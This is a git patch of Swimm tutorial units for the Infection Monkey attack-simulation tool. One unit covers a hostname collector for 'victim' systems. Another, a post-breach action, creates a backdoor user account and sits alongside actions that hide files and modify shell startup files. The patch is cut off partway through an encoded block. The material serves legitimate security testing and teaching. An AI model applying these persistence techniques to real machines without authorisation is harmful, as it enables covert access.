U1RFTV9JTkZPX0NPTExFQ1RPUl9DTEFTU0VTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyaW5mbyUyMiUzQSUyMCUyMklmJTIwb24lMjBBV1MlMkMlMjBjb2xsZWN0cyUyMG1vcmUlMjBpbmZvcm1hdGlvbiUyMGFib3V0JTIwdGhlJTIwQVdTJTIwaW5zdGFuY2UlMjBjdXJyZW50bHklMjBydW5uaW5nJTIwb24uJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiU1RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMnN0cmluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJIb3N0bmFtZSUyMGNvbGxlY3RvciUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNBJTIwJTIyQ29sbGVjdHMlMjBtYWNoaW5lJ3MlMjBob3N0bmFtZS4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiUyQyUyMCUyMlQxMDE2JTIyJTVEJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFNXSU1NRVIlM0ElMjBDb2xsZWN0b3IlMjBjb25maWclMjBnb2VzJTIwaGVyZS4lMjBUaXAlM0ElMjBIb3N0bmFtZSUyMGNvbGxlY3Rpb24lMjByZWxhdGVzJTIwdG8lMjB0aGUlMjBUMTA4MiUyMGFuZCUyMFQxMDE2JTIwdGVjaG5pcXVlcy4lMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZtb25rZXkucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBaW5kZXglMjBiNDdkNmExNS4uMWIxOTYyYTQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRm1vbmtleS5weSUwQSU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMlMjBpbXBvcnQlMjAoQVdTX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEFaVVJFX0NSRURfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyME1JTUlLQVRaX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwJTBBJTQwJTQwJTIwLTg4JTJDNyUyMCUyQjg3JTJDNiUyMCU0MCU0MCUyME1PTktFWSUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmRlZmF1bHQlMjIlM0ElMjAlNUIlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGaG9zdG5hbWUucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBaW5kZXglMjBlMmRlNDUxOS4uMDRiYzM1NTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZob3N0bmFtZS5weSUwQSU0MCU0MCUyMC0xJTJDOSUyMCUyQjElMkM5JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQSUyMCUwQS1mcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5JTIwaW1wb3J0JTIwTW9ua2V5JTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFRoaXMlMjB3aWxsJTIwYmUlMjB1c2VmdWwlMjAlM0EpJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5Lk1vbmtleSUyMGhhcyUyMHRoZSUyMHVzZWZ1bCUwQSUyQiUyMyUyMCUyMmdldF9zaW5nbGVfbW9ua2V5X2J5X2d1aWQlMjIlMjBhbmQlMjAlMjJzZXRfaG9zdG5hbWUlMjIlMjBtZXRob2RzLiUwQSUyMCUwQSUyMGxvZ2dlciUyMCUzRCUyMGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKSUwQSUyMCUwQSUyMCUwQS1kZWYlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeShjb2xsZWN0b3JfcmVzdWx0cyUyQyUyMG1vbmtleV9ndWlkKSUzQSUwQS0lMjAlMjAlMjAlMjBNb25rZXkuZ2V0X3NpbmdsZV9tb25rZXlfYnlfZ3VpZChtb25rZXlfZ3VpZCkuc2V0X2hvc3RuYW1lKGNvbGxlY3Rvcl9yZXN1bHRzJTVCJTIyaG9zdG5hbWUlMjIlNUQpJTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFByb2Nlc3NpbmclMjBmdW5jdGlvbiUyMGdvZXMlMjBoZXJlLiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGc3lzdGVtX2luZm9fdGVsZW1ldHJ5X2Rpc3BhdGNoZXIucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBaW5kZXglMjA2MzlhMzkyYy4uN2FhNmQzYTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZzeXN0ZW1faW5mb190ZWxlbWV0cnlfZGlzcGF0Y2hlci5weSUwQSU0MCU0MCUyMC0zJTJDMTQlMjAlMkIzJTJDMTElMjAlNDAlNDAlMjBpbXBvcnQlMjB0eXBpbmclMEElMjAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5hd3MlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjBwcm9jZXNzX2F3c190ZWxlbWV0cnklMEElMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmVudmlyb25tZW50JTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwcHJvY2Vzc19lbnZpcm9ubWVudF90ZWxlbWV0cnklMEEtZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5ob3N0bmFtZSUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS56ZXJvX3RydXN0X3Rlc3RzLmFudGl2aXJ1c19leGlzdGVuY2UlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjB0ZXN0X2FudGl2aXJ1c19leGlzdGVuY2UlMEElMjAlMEElNDAlNDAlMjAtMTklMkM3JTIwJTJCMTYlMkM2JTIwJTQwJTQwJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX1RPX1RFTEVNRVRSWV9QUk9DRVNTT1JTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwQVdTX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfYXdzX3RlbGVtZXRyeSU1RCUyQyUwQSUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfZW52aXJvbm1lbnRfdGVsZW1ldHJ5JTVEJTJDJTBBLSUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfaG9zdG5hbWVfdGVsZW1ldHJ5JTVEJTJDJTBBJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUzQSUyMCU1QnRlc3RfYW50aXZpcnVzX2V4aXN0ZW5jZSU1RCUwQSUyMCU3RCUwQSUyMCUwQQ==", - "description": "JTIzJTIwV2hhdCUyMGFyZSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3JzJTNGJTBBJTBBV2VsbCUyQyUyMHRoZSUyMG5hbWUlMjBwcmV0dHklMjBtdWNoJTIwZXhwbGFpbnMlMjBpdC4lMjBUaGV5JTIwYXJlJTIwTW9ua2V5JTIwY2xhc3NlcyUyMHdoaWNoJTIwY29sbGVjdCUyMHZhcmlvdXMlMjBpbmZvcm1hdGlvbiUyMHJlZ2FyZGluZyUyMHRoZSUyMHZpY3RpbSUyMHN5c3RlbSUyQyUyMHN1Y2glMjBhcyUyMEVudmlyb25tZW50JTJDJTIwU1NIJTIwSW5mbyUyQyUyMFByb2Nlc3MlMjBMaXN0JTJDJTIwTmV0c3RhdCUyMGFuZCUyMG1vcmUuJTIwJTBBJTBBJTIzJTIzJTIwV2hhdCUyMHNob3VsZCUyMEklMjBhZGQlM0YlMjAlMEElMEFBJTIwc3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvciUyMHdoaWNoJTIwY29sbGVjdHMlMjB0aGUlMjBob3N0bmFtZSUyMG9mJTIwdGhlJTIwc3lzdGVtLiUwQSUwQSUyMyUyMyUyMFRlc3QlMjBtYW51YWxseSUwQSUwQU9uY2UlMjB5b3UncmUlMjBkb25lJTJDJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIweW91ciUyMGNvbGxlY3RvciUzQSUwQSolMjBBcHBlYXJzJTIwaW4lMjB0aGUlMjBJc2xhbmQlMjBjb25maWd1cmF0aW9uJTJDJTIwYW5kJTIwaXMlMjBlbmFibGVkJTIwYnklMjBkZWZhdWx0JTBBKiUyMFRoZSUyMGNvbGxlY3RvciUyMGFjdHVhbGx5JTIwcnVucyUyMHdoZW4lMjBleGVjdXRpbmclMjBhJTIwTW9ua2V5LiUwQSolMjBSZXN1bHRzJTIwc2hvdyUyMHVwJTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHBsYWNlcyUzQSUwQSUyMCUyMColMjBUaGUlMjBpbmZlY3Rpb24lMjBtYXAuJTBBJTIwJTIwKiUyMFRoZSUyMHNlY3VyaXR5JTIwcmVwb3J0LiUwQSUyMCUyMColMjBUaGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMEElMEEqKlRoZXJlJTIwYXJlJTIwYSUyMGxvdCUyMG9mJTIwaGludHMlMjBmb3IlMjB0aGlzJTIwdW5pdCUyMC0lMjBkb24ndCUyMGJlJTIwYWZyYWlkJTIwdG8lMjB1c2UlMjB0aGVtISoq", - "dod": "QWRkJTIwYSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3IlMjB0aGF0JTIwY29sbGVjdHMlMjB0aGUlMjBtYWNoaW5lJTIwaG9zdG5hbWUu", - "summary": "U3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvcnMlMjBhcmUlMjB1c2VmdWwlMjB0byUyMGdldCUyMG1vcmUlMjBkYXRhJTIwZm9yJTIwdmFyaW91cyUyMHRoaW5ncyUyQyUyMHN1Y2glMjBhcyUyMFpUJTIwdGVzdHMlMjBvciUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMjBUYWtlJTIwYSUyMGxvb2slMjBhdCUyMHNvbWUlMjBvdGhlciUyMHRlY2huaXF1ZXMh", - "file_version": "1.0.2", - "app_version": "0.1.60" -} + "app_version": "0.2.1", + "file_version": "1.0.3" +} \ No newline at end of file From c697f895a6e19cce8462352323be453b85161922 Mon Sep 17 00:00:00 2001 From: Swimm Date: Wed, 7 Oct 2020 20:57:57 +0300 Subject: [PATCH 074/466] Swimm: updated unit (tbxb2cGgUiJQ8Btma0fp) - fixing and upgrading to scheme 1.0.3 --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 149 ++++++++++++++++++++++------------ 1 file changed, 96 insertions(+), 53 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 5595eafaa..b19ec94a3 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -1,74 +1,117 @@ { "id": "tbxb2cGgUiJQ8Btma0fp", "name": "Add a simple Post Breach action", + "dod": "You should add a new PBA to the Monkey which creates a new user on the machine.", + "description": "Read [our documentation about adding a new PBA](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/).\n\nAfter that we want you to add the BackdoorUser PBA. The commands that add users for Win and Linux can be retrieved from `get_commands_to_add_user` - make sure you see how to use this function correctly. \n\nNote that the PBA should impact the T1136 MITRE technique as well! \n\n# Manual test to confirm\n\n1. Run the Monkey Island\n2. Make sure your new PBA is enabled by default in the config - for this test, disable network scanning, exploiting, and all other PBAs\n3. Run Monkey\n4. See the PBA in the security report\n5, See the PBA in the MITRE report in the relevant technique\n", + "summary": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... ", "tests": [], "hints": [ "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands", "Make sure to add the PBA to the configuration as well." ], - "files": { + "swimmPatch": { "monkey/common/common_consts/post_breach_consts.py": { - "index": [ - "c3bba995..031f9ad0", - "100644" - ], - "fileA": "monkey/common/common_consts/post_breach_consts.py", - "fileB": "monkey/common/common_consts/post_breach_consts.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTd2ltbWVyJTNBJTIwUFVUJTIwVEhFJTIwTkVXJTIwQ09OU1QlMjBIRVJFISUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCU1QyUyMkZpbGUlMjBleGVjdXRpb24lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTVDJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCU1QyUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E1JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCU3RCU3RCU3RA==" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/common/common_consts/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py\nindex 25e6679c..5198f006 100644\n--- a/monkey/common/common_consts/post_breach_consts.py\n+++ b/monkey/common/common_consts/post_breach_consts.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,5 +1,4 @@", + " POST_BREACH_COMMUNICATE_AS_NEW_USER = \"Communicate as new user\"", + "-POST_BREACH_BACKDOOR_USER = \"Backdoor user\"", + " POST_BREACH_FILE_EXECUTION = \"File execution\"", + " POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = \"Modify shell startup file\"", + " POST_BREACH_HIDDEN_FILES = \"Hide files and directories\"" + ] + } ] }, "monkey/infection_monkey/post_breach/actions/add_user.py": { - "index": [ - "58be89a1..d8476a97", - "100644" - ], - "fileA": "monkey/infection_monkey/post_breach/actions/add_user.py", - "fileB": "monkey/infection_monkey/post_breach/actions/add_user.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQ